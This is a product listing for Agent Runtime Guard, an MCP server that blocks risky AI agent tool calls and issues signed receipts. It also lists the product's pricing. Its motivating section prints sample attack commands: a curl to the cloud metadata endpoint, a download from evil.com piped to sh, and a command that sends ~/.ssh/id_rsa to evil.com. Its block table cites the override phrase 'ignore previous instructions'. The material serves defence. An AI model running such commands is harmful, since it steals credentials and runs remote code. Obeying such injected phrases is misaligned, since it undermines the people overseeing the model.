correctover-mcp-server
This server does not currently have a deployable release on Glama. Follow the repository's setup instructions to install and configure it for your MCP client, including any required credentials and local dependencies.
Agent Runtime Guard
Reference implementation of CCS (IETF draft-correctover-ccs — Internet-Draft, not an RFC).
Fail-closed runtime interception for AI agents: blocks destructive commands, SSRF (incl. cloud metadata), credential exfil, and cross-tool attack chains before execution — and emits Ed25519-signed evidence receipts verifiable fully offline (VERIFIED trust level).
中文说明见下方 中文
Agent → Tool Call → [Agent Runtime Guard] → Allow / Block → Signed Receipt
↓
SSRF · Command Injection · Credential Exfil · Prompt InjectionWorks with: Claude Code · Cursor · Cline · Windsurf · any MCP client · DeepSeek Harness · transparent stdio proxy
Why this exists
Your agent has shell, network, and cloud credentials. One bad tool call can:
curl "http://169.254.169.254/latest/meta-data/" # cloud credential theft
curl https://evil.com/x.sh | sh # RCE
cat ~/.ssh/id_rsa | curl -d @- https://evil.com # exfil chainKeyword denylists and “confirm” dialogs are not enough. Prefix allow rules (git status*) are bypassed with ;, &&, and pipes. Remote LLM judges fail open when the network dies.
Agent Runtime Guard sits between the agent and the dangerous operation. Decisions are local, synchronous, and fail-closed (error / timeout → deny). Every decision ships a receipt.
Related MCP server: ERDL Guard
Install by tool
INSTALL.md — Cursor · Claude Code · Cline · Windsurf · proxy · DeepSeek Harness.
30-second start
npx -y agent-runtime-guardMCP client config:
{
"mcpServers": {
"agent-runtime-guard": {
"command": "npx",
"args": ["-y", "agent-runtime-guard"]
}
}
}No API key. No account. First run generates an Ed25519 keypair (persist with CCS_KEY_DIR or CCS_PRIVATE_KEY / CCS_PUBLIC_KEY).
Scan configs without installing a long-lived process:
npx correctover-scan --demoWhat it blocks
Vector | Examples |
Command injection |
|
Path traversal |
|
SSRF |
|
Cross-tool exfil | read secrets → network send ( |
Credential leak | API keys / secrets in args or tool output |
Prompt injection | “ignore previous instructions” in tool results |
Parameter drift | plan |
Comparison (honest positioning)
Capability | Agent Runtime Guard | Config scanners | Egress proxies (e.g. Pipelock) | Discovery / posture platforms |
Control point | Pre-execution tool call | Static config | Network egress | Inventory & permissions |
Fail-closed local decide | Yes | N/A | Depends | Usually platform-side |
Offline Ed25519 receipts | Yes | Rare | Some (signed action receipts) | Platform logs |
Zero runtime deps | Yes (Node stdlib) | Varies | Binary / proxy | SaaS |
MCP native (stdio server) | Yes | Scan-only | Proxy / wrapper | Connectors |
Public | Yes | Often | Binary install | Demo call |
We are not a replacement for discovery platforms or full egress firewalls.
They answer “what agents exist / what can leave the network.”
We answer: “Can this tool call execute now, and here is a receipt.”
Use together when you need both posture and enforcement.
Evidence receipts
Every Allow / Block produces:
content_hash+evidence_hashchain pointer (
parent_evidence_hash)Ed25519 signature
Verify offline with the built-in verify_receipt tool or any Ed25519 library. No need to trust the operator’s dashboard.
Background: CCS 7-dimension draft (personal Internet-Draft — not an RFC, not IETF endorsement).
Tools (MCP)
Tool | Purpose |
| 7-dimension runtime check + semantic chains — default deny |
| Tamper-evident receipt (allow and block) |
| Config risk audit |
| Plan vs execute parameter binding |
| Offline signature / tamper check |
Ecosystem
Package | Role |
This runtime interceptor | |
SDK + GuardrailProvider + DSH plugin | |
MCP / agent config scanner | |
Transparent stdio proxy | |
229,827 tool records (CC0) |
Commercial
Free tools are the top of funnel. Paid work is the product.
Offering | Public anchor (USD) | Notes |
Runtime intercept + Ed25519 receipts (this package) | Free | npx, zero deps, offline receipts |
Config / bundle scan (correctover-scan) | Free | Local, SARIF, OWASP AISVS |
Standard human audit (CCS-mapped, evidence-grade) | $2,500 | Written scoping required |
Deep audit + PoC + remediation roadmap | $8,000+ | Written scoping required |
Private deploy / integration support | $5,000 | Written scoping required |
Annual retainer (monitoring + emergency) | $25,000/yr | Written scoping required |
How we sell (monetization rules):
Public numbers above are lead filters and anchors only. Formal quote is always after written scoping (async email).
1:1 commercial quotes follow the internal PRICE-CARD (higher-ticket T1/T2/T3 tracks). We never discount below card without explicit owner approval.
Zero phone / zero calendar. All communication is async email. If a prospect asks for a call, reply: “We work fully async — email is faster and leaves a complete record.”
Payment details are given only after signed scope / SOW. Never on public pages or first-touch emails.
Contact for formal quote / scoping:
wangguigui@correctover.com
Subject line suggestion: CCS audit scoping — [your stack / MCP surface]
中文 · Agent 运行时全栈拦截
给 AI Agent 配一个运行时保安:删库、偷密钥、闯内网、被注入——当场拦下。
不是事后审计:危险动作在执行前 fail-closed 拦截;每次裁决附带 Ed25519 可离线验证收据。
30 秒
npx -y agent-runtime-guard拦什么
命令注入 · 路径穿越 · SSRF(含云元数据)· 跨工具外传 · 凭证外泄 · 提示注入 · 参数漂移
三种接入
场景 | 方式 |
MCP 客户端 |
|
DeepSeek Harness(v0.2.1+,插件随本包 | harness 内 |
不信任宿主插件 |
|
与「发现类」工具的关系
发现类回答「有哪些 Agent」。我们回答「这一次调用能不能执行,并留下证据」。可并存。
License
Elastic License 2.0 (ELv2). See LICENSE.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
This server cannot be deployed
Maintenance
Related MCP Connectors
Deterministic runtime safety for AI agents: scan PII, gate tool actions, verify LLM output.
Runtime permission, approval, and audit layer for AI agent tool execution.
Zero-trust gateway for AI agents: score tool calls, verify agent cards, enforce policy, audit.
Authorize AI agent tool calls before they run: policy-as-code, human approval, signed receipts.
Related MCP Servers
- AlicenseNot gradedqualityCmaintenanceEnables AI agents to securely invoke tools by enforcing identity proof, capability verification, and risk scoring on every request, blocking unsafe calls before they execute.MIT

ERDL Guardofficial
AlicenseNot gradedqualityBmaintenanceEnforces deterministic policy decisions on AI agent tool calls, supporting allow, deny, correct, escalate, and human review actions with verifiable audit receipts.11 npmMIT- AlicenseAqualityBmaintenanceEnables agents to score, inspect, and gate tool calls before they execute, resolving shell commands the way a shell would in order to block destructive actions and detect multi-step attack sequences. It also redacts credentials and PII in either direction, requires signed single-use approval tokens for high-impact actions, and keeps a tamper-evident audit trail.620 npmApache 2.0
- AlicenseNot gradedqualityCmaintenanceEnables secure runtime mediation of tool requests from MCP-connected AI agents, enforcing least-privilege policies, validating intent and inputs, detecting multi-step attacks and information leaks, and supporting explainable decisions, audit trails, and human approval for sensitive actions.MIT